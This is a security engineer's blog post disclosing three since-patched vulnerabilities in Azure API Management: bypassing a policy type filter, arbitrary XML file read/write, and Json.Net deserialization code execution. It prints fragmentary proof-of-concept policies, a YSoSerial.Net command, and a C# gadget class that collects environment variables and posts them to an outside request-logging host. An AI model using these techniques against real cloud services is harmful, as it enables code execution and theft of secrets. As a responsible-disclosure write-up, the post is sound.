On the hunt – security vulnerabilities in Microsoft Azure

Martin Wrona

12.3.2024

Translation: Patrik Stainbrook

You devour code as if it were a book and are interested in software security? Then this article is perfect for you.

As a security software engineer, I run through many lines of code every day that weren’t written by me or are quite old. This professional reality requires an in-depth understanding of diverse code bases across a wide range of domains in order to proactively identify and eliminate potential security vulnerabilities. However, our system landscape not only requires a deep understanding of our own code base, but also of external solutions and services integrated into our systems.

In my spare time this year, I focused my interest on the Azure API Management Service thanks to two articles: orca security - Authenticated SSRF Vulnerability on Azure API Management Service and Tenable Cloud Security - Uncovering 3 Azure API Management Vulnerabilities – When Good APIs Go Bad. I thought to myself, «If so many weaknesses have already been found in a service, there must be even more.» After analysing the service, I indeed emerged with the three weaknesses – the ones I’m writing about in this report.

What is Azure API Management?

APIs can be created and managed via Azure API Management Gateway. Developers benefit from a user-friendly portal with documentation and code examples for smooth integration. These components are hosted in Azure and are fully managed by default.

For more information on the service, see the documentation here: API Management – Manage APIs | Microsoft Azure

Policy expressions

Azure API Management Gateway offers the ability to manipulate incoming and outgoing requests such as caching, HTTP header manipulation, rate limiting, URL rewriting and more.

Here’s the procedure:

Since static manipulations are limited and Microsoft wants to offer us more flexibility, C# code can be written in so-called policy expressions.

The documentation contains a detailed list of the types that can be used to create expressions. This type restriction serves to prevent the entire .NET framework (yes, that’s right, the service still runs on the full framework) from being available in the policies and causing damage to the underlying service host.

At least for C# and dotnet, I’m not aware of any mechanism that filters types like language mode in PowerShell. I therefore decided to investigate the implementation in more detail.

During code reviews, I always ask myself, «Would I implement this feature in the same way? If not, why was it developed this way?» Self-made security features often aren’t well thought out and can be circumvented with creative approaches.

For more information on policy expressions and permitted types, see the documentation here: Azure API Management policy expressions

Technical analysis

#1 Arbitrary code execution

To bypass the type filter, I first tried to declare a variable as «dynamic». In C#, variables whose type is determined at runtime can be defined as dynamic. This enables the definition of variables analogous to languages without strong typing.

The output here was a meaningful error message that showed me just how the type filtering was implemented.

A classic example of CWE-1295:

Debug messages are messages that help troubleshoot an issue by revealing the internal state of the system. 
… 
However, there is also the risk of revealing information that could help an attacker either decipher a vulnerability, and/or gain a better understanding of the system. Thus, this extra information could lower the "security by obscurity" factor. While "security by obscurity" alone is insufficient, it can help as a part of "Defense-in-depth".

The error message shows that the type filter was implemented by Microsoft with a Roslyn Analyzer.

A Roslyn Analyzer is a tool that performs static code analysis as you type to identify potential problems, improvements or stylistic adjustments in the source code. The Roslyn compiler provides interfaces that make it possible to implement your own analyzers which run as you compile code. A simple example for using a Roslyn Analyzer could be the detection of unused variables or methods in a C# code project. The analyzer would trigger warnings during development if unused sections of code are identified. However, the static analysis can sound a false alarm in some places. For example, let’s say certain methods are guaranteed to be called at runtime but this fact isn’t recognisable at compile time. In return, you can suppress individual (or all) analyzers with preprocessor directives for certain sections of code.

Preprocessor directives are instructions in the code that provide the compiler with certain conditions for compiling.

One example of this are compatibility features via framework versions:

#if NET40
        WebClient _client = new WebClient();
#else
        HttpClient _client = new HttpClient();
#endif

Or the suppression of annoying warnings triggered by analyzers.

#pragma warning disable 

This directive can be used to deactivate the homebrew type filter analyzer, after which all types in the framework are available.

Further documentation on preprocessor directives: C# preprocessor directives – C# | Microsoft Learn

Exploit

In my example, which I forwarded to the MSRC (Microsoft Security Response Center), I output all environment variables that contain internals/secrets such as connection strings. Under certain circumstances, this would make it possible to move further within the server’s network and thus gain control over other systems, also known as lateral movement.

However, following MSRC’s guidelines, I didn’t test this and left it at my proof of concept.

＜set-body>@{ 
  #pragma warning disable

  str += $"{de.Key} = {de.Value}{Environment.NewLine}";

Timeline

24 January 2023: Report
26 January 2023: MSRC review/repro begins
10 February 2023: MSRC fix released

#2 Arbitrary read & write

Following the Tenable post on the same service linked above, I wanted to check how Microsoft fixed the bug I found. But how can this be checked on a black box? Microsoft probably won’t give me the source code… or will it?

During further research, I came across the self-hosted gateway. That is, a minimal, dockerised version of the API Management Gateway that can be operated in your own infrastructure.

Further documentation on the self-hosted gateway: Self-hosted gateway overview | Microsoft Learn

I used dive to examine the Docker image then extracted the layer relevant to me:

With dotPeek (.NET Decompiler), I searched through the previously extracted files and came across the above-mentioned, homebrew analyzer. The implementation looked very robust at first glance, but I noticed an early return block.

The analyzer allows a list of assemblies in the red block, and thus all included types. In my opinion, this should only be used very sparingly in a whitelisting approach, as new functions could otherwise creep in during framework updates.

I then went in search of the definition for the assemblies and found what I was looking for in «expressions.json».

Permitted assemblies are therefore System.Xml and System.Xml.Linq. This contradicts Microsoft’s documentation on the permitted types, as all types are explicitly listed there. So someone has thought about this in the past, it was probably just lost in implementation or with an update.

Exploit

System.Xml offers various functions for read and write access. Depending on the permissions of the user executing the host process, files can be manipulated and arbitrary code execution can be achieved.

Arbitrary read
XML files in the underlying host could thus be read.

＜set-body>@{
  var path = @"test.xml";

Arbitrary write
Since the service doesn’t use a read-only file system, I was also able to write files in the application folder. In my proof of concept, I tried to manipulate the expressions.json file so that all types are available to me again. Unfortunately, this didn’t work, an application restart would’ve been necessary.

＜set-body>@{
  try{
    var str = System.Net.WebUtility.UrlDecode(context.Request.Url.Query.GetValueOrDefault("content", "Hello World"));

settings.Indent = true;
settings.IndentChars = "\t";
settings.OmitXmlDeclaration = true;
var writer = XmlWriter.Create(@"hello-world.txt", settings);
writer.WriteRaw(str);
writer.Flush();
writer.Dispose();

  return ex.Message;

A forced crash of the IIS application pool using the following policy unfortunately didn’t lead to a restart, but made the service permanently unusable. As a result, I had to delete the existing instance and create a new one.

＜set-body>@{
  async void ex() { throw new Exception(); }
  ex();

The policies above were deployed to MSRC after some further testing for Remote Code Execution and was fixed as Privilege Escalation.

Timeline

9 July 2023: Report
14 July 2023: MSRC review/repro begins
17 August 2023: MSRC fix released

#3 Arbitrary code execution (insecure deserialization)

When I was trying to execute code with the arbitrary read/write vulnerability, I came up with the idea of writing intentionally vulnerable code. There are a number of known attack methods for XML, and the use of XSLT (XSL Transformation) has led to interesting findings.

XSLT processing

The .NET framework offers a function extension that makes it possible to define C# code within a template. This section is then compiled and executed during runtime.

Further documentation on msxml:script: Script Blocks Using msxsl:script – .NET | Microsoft Learn

＜msxsl:script language="C#" implements-prefix="user">
  ＜![CDATA[
  public string UserFunction(){
    return "Hello World";
  }
  ]]>
</msxsl:script>

The execution of my script block didn’t work, but I received a very telling error message that revealed more about how it works.

Error occurred while compiling the script: Cannot execute a program. The command being executed was "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\apimuser_proxy\AppData\Local\Temp\l3fkjmcj.cmdline".

The error message «Cannot execute a program» means that the user running the service doesn’t have permission to start other processes. This makes total sense from a safety point of view and prevented further damage at this point.

At the start of my tests, I already noticed that the analyzer allows the well-known vulnerable function Newtonsoft.Json.JsonConvert.DeserializeObject.

To get this function to execute code, a specific class (a so-called gadget) must be deserialized. This class executes code as part of the deserialization process, in the constructor or in the getter/setter methods of a property.

Further documentation on the known vulnerable function DeserializeObject: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

YSoSerial.Net

There’s the project YSoSerial.Net, which provides a collection of such gadget classes and an associated payload generator that can be used for deserialization attacks. The simplest variant is a POC payload that starts nslookup, for example, and resolves a domain based on https://log4shell.tools/. Since the IIS AppPool user doesn’t have permissions to start processes, this didn’t work during my first test.

After researching, I came across another variant of the payload available as part of the DataSetOldBehaviourFromFile gadget. This payload can be used to execute the constructor of a self-defined class.

class E
{
    public E()
    {
        var str = "";
        foreach (System.Collections.DictionaryEntry de in System.Environment.GetEnvironmentVariables())
        {
            str += de.Key+" = "+de.Value+ System.Environment.NewLine;
        }
        new System.Net.Http.HttpClient().PostAsync("https://[redacted].m.pipedream.net", new System.Net.Http.StringContent(str)).GetAwaiter().GetResult();
    }
}

The DataSetOldBehaviourFromFile gadget can’t be called directly via Json.Net. Instead, it requires the «bridge» to the BinaryFormatter, made possible by the -bgc Cli flag. Using -bgc works because the RolePrincipal class uses the BinaryFormatter internally (see source).

Cli command used:

\ysoserial.exe -f Json.Net -g RolePrincipal -o raw -c "ExploitClass.cs;System.Runtime.dll;System.IO.dll;System.dll;System.Core.dll;System.Net.Http.dll" -bgc DataSetOldBehaviourFromFile

Exploit

The analyzer allows the JsonSerializerSettings to be set, but prohibits access to the TypeNameHandling enum, which is required for code execution. The analyzer could be bypassed again by performing a simple cast from int to enum.

Policy example:

＜set-body>@{
    var payload = context.Request.Body.As＜string>();

    string data = @"{
        '$type': 'System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a',
        'System.Security.ClaimsPrincipal.Identities': '"+payload+@"'
    }";

    {
        TypeNameHandling = (Newtonsoft.Json.TypeNameHandling)4
    });
    return "OK";
}
catch(Exception ex){
    return JsonConvert.SerializeObject(ex);
}

And here’s the result of execution, featuring various secrets about Microsoft’s internal systems.

Timeline

6 August 2023: Report
10 August 2023: MSRC review/repro begins
29 August 2023: MSRC fix released

Verdict

Executing code on a centralised entry point like Azure API Management can present challenges for enterprise security teams. As this is a fully managed service from Microsoft, access to events/logs of the underlying host system isn’t possible and the installation of system monitoring software is excluded. This makes it more difficult to detect persisting attackers and security teams have to rely on Microsoft’s detection.

The Microsoft Security Response Center has processed the reported vulnerabilities with appropriate priority and forwarded them to the relevant product group. The communication was professional and thanks to the POCs I provided, patches could be implemented quickly in the productive environment.

This was only possible and legally permissible because Microsoft operates a bug bounty program. Further information can be found at https://www.microsoft.com/en-us/msrc/bounty.

Martin Wrona

Senior Security Software Engineer

Martin.Wrona@digitecgalaxus.ch

These articles might also interest you